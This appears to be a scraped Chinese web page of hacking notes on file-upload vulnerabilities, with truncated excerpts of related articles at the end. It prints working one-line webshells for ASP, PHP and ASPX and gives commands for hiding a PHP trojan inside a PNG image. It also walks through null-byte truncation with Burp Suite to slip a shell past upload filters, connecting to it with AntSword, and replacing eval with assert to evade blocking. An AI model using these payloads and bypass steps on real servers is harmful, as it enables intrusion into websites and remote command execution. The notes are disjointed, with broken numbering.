5. 標頭檔案檢查
6. 00截斷
**函式替換**
asp一句話木馬：
<%execute(request(「value」))%>
php一句話木馬：
<?php @eval($_post[value]);?>
aspx一句話木馬：
<%@ page language=「jscript」%>
<%eval(request.item[「value」])%>
.htaccess檔案 (或者"分布式配置檔案"）,全稱是hypertext access(超文字入口)。
它提供了針對目錄改變配置的方法， 即，在乙個特定的文件目錄中放置乙個包含乙個或多個指令的檔案， 以作用於此目錄及其所有子目錄。
作為使用者，所能使用的命令受到限制。
管理員可以通過apache的allowoverride指令來設定。
.htaccess檔案是用於apache伺服器下的控制檔案訪問的配置檔案，因此nginx下是不會生效的
.htaccess可以幫我們實現：網頁301重定向、自定義404錯誤頁面、改變副檔名、允許/阻止特定的使用者或者目錄的訪問、禁止目錄列表、配置預設文件、檔案的跳轉等功能。
png，jpg等格式有專有的頭部需要製作一句話製作木馬
6. copy 1.png/b() + 3.php/a(木馬) 2.png (複製出的)
7. linux系統中使用下面命令：
cat 1.png 3.php > 2.png
8. 利用二進位制工具010editor
使用010editor開啟，再末尾貼上木馬，最後儲存就行。
上傳乙個名為post.php%00.jpg的檔案，彈出乙個上傳成功的彈窗，上傳成功了，url位址列出現了?road=/var/www/htm/ 沒有返回檔案的路徑位址，多半是有臨時檔名的存在，這就需要00截斷，00截斷的主要目的就是為了得到上傳檔案的路徑位址，從而可以用蟻劍連線。
用burpsuite在url後加php檔名和%00
使用其他函式，比如eval可以使用assert替換。
這種方法適合eval函式被禁用時使用
一句話木馬
一句話木馬短小精悍，而且功能強大，隱蔽性非常好，在入侵中始終扮演著強大的作用。一句話木馬 服務端 是用於本地的html提交指令碼木馬檔案 就是我們要用來插入到asp檔案中的asp語句，不僅僅是以asp為字尾的資料庫檔案 該語句將回為觸發，接收入侵者通過客戶端提交的資料，執行並完成相應的操作，服務端的...
檔案上傳漏洞 一句話木馬 學習筆記
滲webshell就是以asp php jsp或者cgi等網頁檔案形式存在的一種命令執行環境，也可以將其稱做為一種網頁後門。黑客在入侵了乙個 後，通常會將asp或php後門檔案與 伺服器web目錄下正常的網頁檔案混在一起，然後就可以使用瀏覽器來訪問asp或者php後門，得到乙個命令執行環境，以達到控...
關於一句話木馬
這裡的asp後門不指像那些一句話木馬 砍客 冰狐之類的b s型的，只指像cmd.asp或2005a.asp的。第乙個，來看zzzeva免fso的cmd.asp 如下 是不是覺得有點長了？在注入時寫有點不好寫。那來改一下。第二個，更改zzzeva免fso的cmd.asp 如下 response.wri...